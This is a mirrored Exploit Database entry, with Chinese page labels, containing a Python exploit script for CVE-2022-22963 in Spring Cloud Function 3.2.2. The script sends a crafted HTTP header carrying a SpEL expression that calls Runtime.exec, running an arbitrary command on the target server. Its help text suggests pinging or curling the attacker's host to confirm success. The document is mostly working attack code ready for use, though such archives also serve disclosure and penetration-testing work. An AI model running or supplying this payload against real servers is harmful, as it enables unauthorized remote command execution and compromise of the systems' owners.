Spring Cloud 3.2.2 – Remote Command Execution (RCE)

• Exploit Database
• 22 阅读

• 作者： GatoGamer1155
  日期： 2023-07-11
• 类别：

  • webapps
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/51577/

• # Exploit Title: Spring Cloud 3.2.2 - Remote Command Execution (RCE)
  # Date: 07/07/2023
  # Exploit Author: GatoGamer1155, 0bfxgh0st
  # Vendor Homepage: https://spring.io/projects/spring-cloud-function/
  # Description: Exploit to execute commands exploiting CVE-2022-22963
  # Software Link: https://spring.io/projects/spring-cloud-function
  # CVE: CVE-2022-22963
  
  import requests, argparse, json
  
  parser = argparse.ArgumentParser()
  parser.add_argument("--url", type=str, help="http://172.17.0.2:8080/functionRouter", required=True)
  parser.add_argument("--command", type=str, help="ping -c1 172.17.0.1", required=True)
  args = parser.parse_args()
  
  print("\n\033[0;37m[\033[0;33m!\033[0;37m] It is possible that the output of the injected command is not reflected in the response, to validate if the server is vulnerable run a ping or curl to the attacking host\n")
  
  headers = {"spring.cloud.function.routing-expression": 'T(java.lang.Runtime).getRuntime().exec("%s")' % args.command }
  data = {"data": ""}
  
  request = requests.post(args.url, data=data, headers=headers)
  response = json.dumps(json.loads(request.text), indent=2)
  print(response)